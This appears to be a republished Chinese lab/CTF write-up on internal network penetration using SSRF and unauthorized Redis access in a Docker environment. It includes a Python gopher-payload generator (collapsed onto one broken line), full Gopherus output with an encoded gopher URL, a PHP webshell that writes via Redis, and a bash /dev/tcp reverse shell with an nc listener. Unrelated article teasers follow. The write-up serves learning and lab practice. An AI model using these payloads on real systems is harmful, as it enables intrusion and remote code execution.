利用 SSRF 和 Redis 未授权访问进行内网渗透

目录

环境搭建

​编辑

发现内网存活主机

​编辑

 

扫描内网端口

​编辑

利用 Redis 未授权访问进行 Webshell 写入

步骤1:生成 payload

        方式1:使用python生成 payload

        方式二:使用 Gopher 工具

步骤 2:写入 Webshell(木马)

​编辑

步骤 3:访问 Webshell 获取 flag

​编辑

反弹 Shell 获取完整权限

步骤 1:修改 payload 生成反弹 Shell

步骤 2:监听端口

步骤 3:触发反弹 Shell


环境搭建

在本次实验中,我们使用 Docker 环境进行测试。

  1. 解压实验包,搭建 docker 环境。

docker环境

web的dockerfile

主要利用代码

redis服务器

  1. 通过 docker-compose up -d 启动相关容器,初次启动失败。

  1. 发现 docker 版本问题,删除 docker 版本 3,并尝试重新拉取 Ubuntu 16.04 版本:

    docker pull ubuntu:16.04
    
  1. 重新启动后,环境成功搭建,获取内网 IP。

发现内网存活主机

使用phpinfo来看内网IP地址

我们使用抓包工具检测内网存活主机,发现 172.18.0.2 存在 HTTP 服务,并返回 Go away

 

扫描内网端口

使用 burpsuite172.18.0.2 进行端口扫描,发现 6379 端口返回 Redis 报错信息,说明目标主机上运行着 Redis 服务,并且可能存在未授权访问漏洞。

利用 Redis 未授权访问进行 Webshell 写入

步骤1:生成 payload

        方式1:使用python生成 payload

我们利用 Redis 服务器的 config set dirconfig set dbfilename 进行 Webshell 写入。

Python 脚本生成 gopher 协议 payload,用于 SSRF 发送 Redis 命令:

import urllib
protocol="gopher://"
ip="172.22.0.2"    # 运行着 redis 的内网主机 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print(payload)
        方式二:使用 Gopher 工具

 GitHub 下载地址:Gopherus

该工具使用 Python2,生成 gopher payload。记得安装

sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py

# 下载并解压后运行 install.sh
./install.sh

生成paload

root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis________              .__/  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \\______  /\____/|   __/|___|  /\___  >__|  |____//____  >\/       |__|        \/     \/                 \/author: $_SpyD3r_$Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell): PHPShell #木马语言Give web root location of server (default is /var/www/html): /var/www/html/upload #上传路径
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句话木马Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. -----------Made-by-SpyD3r-----------

步骤 2:写入 Webshell(木马)

接下来我们将生成后的payload进行二次编码

然后访问

Redis 执行后,会在 /var/www/html/upload 目录生成 shell.php,其中包含 webshell 代码。

骤 3:访问 Webshell 获取 flag

成功写入 web.php,使用 SSRF 访问它:

/?url=http://172.18.0.2/upload/web.php

Webshell 内容:

<?php system("cat /flag");?>

访问 web.php 后即可获取 flag

成功执行远程命令,获取 flag

反弹 Shell 获取完整权限

如果我们希望获取完整的交互式 Shell,可以利用 bash 反弹 Shell 技术。

步骤 1:修改 payload 生成反弹 Shell

我们修改 shell 代码,使其反弹 Shell:

<?php system("bash -c 'exec bash -i >& /dev/tcp/IP/端口 0>&1'");?>

步骤 2:监听端口

在本机开启 nc 监听:

nc -lvnp 4444

步骤 3:触发反弹 Shell

访问:

/?url=http://172.17.0.2/upload/web.php

成功获得 bash 交互式 Shell,即可进一步提权、查找 flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/75206.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Vue2插槽】

Vue2插槽 Vue2插槽默认插槽子组件代码&#xff08;Child.vue&#xff09;父组件代码&#xff08;Parent.vue&#xff09; 命名插槽子组件代码&#xff08;ChildNamed.vue&#xff09;父组件代码&#xff08;ParentNamed.vue&#xff09; 代码解释 Vue2插槽 Vue2插槽 下面为你详…

ORB-SLAM学习感悟记录

orb特征点的旋转不变性 利用灰度质心法求出的质心后&#xff0c;与形心连线所形成的角度如下图所示&#xff1a; 这里容易对上图进行误解&#xff1a; 为了保证旋转不变性&#xff0c;这里注意ORB-slam是利用这个角度旋转坐标系&#xff0c;以新坐标系为标准从图像中采点进行…

搜索算法------深度优先搜索

1. 介绍 深度优先搜索&#xff08;Depth-First Search&#xff0c;DFS&#xff09;是一种用于遍历或搜索树或图的算法。这种算法通过尽可能深地搜索图的分支来探索解决方案空间&#xff0c;直到达到一个没有分支的点&#xff0c;然后回溯 1.1 原理 选择起始点&#xff1a;从…

4.2 单相机引导机器人放料-仅考虑角度变化

【案例说明】 本案例产品在托盘中,角度变化不大(<15度);抓取没有问题,只是放的穴位只能容许3度的角度偏差,因此需要测量产品的角度。 思路是:机器人抓料后、去固定拍照位拍照(找到与标准照片的角度偏差),机器人在放料的位置上多旋转这个角度偏差,把产品放进去。 …

六级词汇量积累day13

commend 表扬 exhaust 耗尽&#xff0c;用尽 weary 疲惫的&#xff0c;劳累的 fatigue 疲惫&#xff0c;劳累 obese 臃肿的&#xff0c;肥胖的 adopt 采纳&#xff0c;收养 adapt 适应 accomplish 完成&#xff0c;实现 accomplishment 成就 achieve 实现&#xff0c;完成 achi…

医院信息系统与AI赋能的介绍

随着医疗行业的不断发展&#xff0c;医院信息系统&#xff08;HIS&#xff0c;Hospital Information System&#xff09;已经成为现代医疗服务不可或缺的一部分。医院信息系统通过数字化、信息化手段&#xff0c;有效地整合了医院内部的医疗、财务、后勤等各个业务环节&#xf…

突发,国行 iPhone 17,支持 eSIM

古人云“无心生大用”&#xff0c;往往你感到绝望的时候&#xff0c;转机就莫名其妙的来了。 根据供应链的最新消息&#xff0c;国行 iPhone 17 Air&#xff0c;有望用上 eSIM。 不仅如此&#xff0c;国产手机厂商&#xff0c;也计划推出类似iPhone 17 Air的超薄机型&#xf…

【C++项目】从零实现RPC框架「三」:项⽬抽象层实现

🌈 个人主页:Zfox_ 🔥 系列专栏:C++从入门到精通 目录 一:🔥 常⽤的零碎功能接⼝类实现🦋 简单⽇志宏实现🦋 Json 序列化/反序列化🦋 UUID ⽣成二:🔥 项⽬消息类型字段信息定义 🦋 请求字段宏定义🦋 消息类型定义🦋 响应码类型定义🦋 RPC 请求类型定…

Hadoop集群常用指令详解

在大数据处理领域&#xff0c;Hadoop作为分布式计算和存储的开源框架&#xff0c;已经成为不可或缺的工具。掌握Hadoop集群的常用指令对于集群的日常管理和操作至关重要。本文将详细介绍Hadoop集群的常用指令&#xff0c;帮助读者更好地理解和使用Hadoop。 一、Hadoop集群的启…

几种常见的.NET单元测试模拟框架介绍

目录 1. Moq 2. NSubstitute 3. AutoFixture 4. FakeItEasy 总结对比 单元测试模拟框架是一种在软件开发中用于辅助单元测试的工具。 它的主要作用是创建模拟对象来替代真实对象进行测试。在单元测试中&#xff0c;被测试的代码可能依赖于其他组件或服务&#xff0c;如数…

蓝桥杯备赛之枚举

用循环等方式依次去枚举所有的数字组合&#xff0c;一一验证是否符合题目的要求 题目链接 0好数 - 蓝桥云课 题目解析 好数的概念: 数的奇数位位奇数,偶数位为偶数,就是一个好数 求输入n里面有多少个好数 题目原理 1> 遍历每个数 2> 每次遍历判断是不是好数 把这…

9、tlm 事务交互通信

1、TLM&#xff08;Transaction-Level Modeling&#xff09; 是 SystemC 的高级建模方法&#xff0c;用于描述系统的通信行为&#xff0c;特别是在硬件设计和验证中。TLM 是 SystemC 的一部分&#xff0c;用于提高仿真的效率和抽象性。以下是 TLM 的核心知识以及关键概念。 2、…

小白入门机器学习概述

文章目录 一、引言二、机器学习的基础概念1. 机器学习的定义2. 机器学习的类型&#xff08;1&#xff09;监督学习&#xff08;Supervised Learning&#xff09;&#xff08;2&#xff09;无监督学习&#xff08;Unsupervised Learning&#xff09;&#xff08;3&#xff09;半…

smartdns 在企业场景中的应用心得

smartdns 是一款优秀的本地dns服务器&#xff0c;默认开启的配置在小型环境下足够使用(50台终端)&#xff0c;在面对中大型网络环境时&#xff08;100台终端&#xff0c;且有多层网络结构&#xff09;&#xff0c;需要增加更多的配置来确保稳定运行。 一、删除注释&#xff0c;…

【12】Ajax的原理和解析

一、前言 二、什么是Ajax 三、Ajax的基本原理 3.1 发送请求 3.2 解析内容 3.3 渲染网页 3.4 总结 四、Ajax 分析 五、过滤请求-筛选所有Ajax请求 一、前言 当我们在用 requests 抓取页面的时候&#xff0c;得到的结果可能会和在浏览器中看到的不一样&a…

【 <二> 丹方改良:Spring 时代的 JavaWeb】之 Spring Boot 中的安全性:使用 Spring Security 实现认证与授权

<前文回顾> 点击此处查看 合集 https://blog.csdn.net/foyodesigner/category_12907601.html?fromshareblogcolumn&sharetypeblogcolumn&sharerId12907601&sharereferPC&sharesourceFoyoDesigner&sharefromfrom_link <今日更新> 一、开篇整…

百元不入耳蓝牙耳机哪个品牌好用?2025百元不入耳耳机品牌推荐

在选择蓝牙耳机时&#xff0c;许多用户开始关注不入耳式设计&#xff0c;不仅能避免耳道不适&#xff0c;还能保持对环境音的感知&#xff0c;提升运动、通勤或日常使用的安全性。而在百元价位中&#xff0c;不入耳式耳机的品牌众多&#xff0c;产品质量参差不齐&#xff0c;如…

如何加强 SSH 安全:内网和专用网络环境下的防护策略

文章目录 如何加强 SSH 安全&#xff1a;内网和专用网络环境下的防护策略限制访问来源通过防火墙或安全组限制网络策略&#xff08;Network Policy&#xff09; 禁用密码登录&#xff0c;使用密钥认证启用 Fail2ban 或 SSH 防爆破限制 SSH 用户更改 SSH 端口使用跳板机&#xf…

ngx_monotonic_time

Ubuntu 下 nginx-1.24.0 源码分析 - ngx_monotonic_time函数-CSDN博客 定义在 src\core\ngx_times.c static ngx_msec_t ngx_monotonic_time(time_t sec, ngx_uint_t msec) { #if (NGX_HAVE_CLOCK_MONOTONIC)struct timespec ts;#if defined(CLOCK_MONOTONIC_FAST)clock_get…

【Trick】论文画图的icon来源

0&#xff1a;起因 群友在群里发了这种很好看的论文主图 其中不乏有很多icon&#xff0c;比如open-ai、机器人的 于是想知道应该如何找到&#xff0c;便有了后文 1&#xff1a;网址 阿里巴巴矢量图标库&#xff1a;iconfont-阿里巴巴矢量图标库 2&#xff1a;使用方法 可…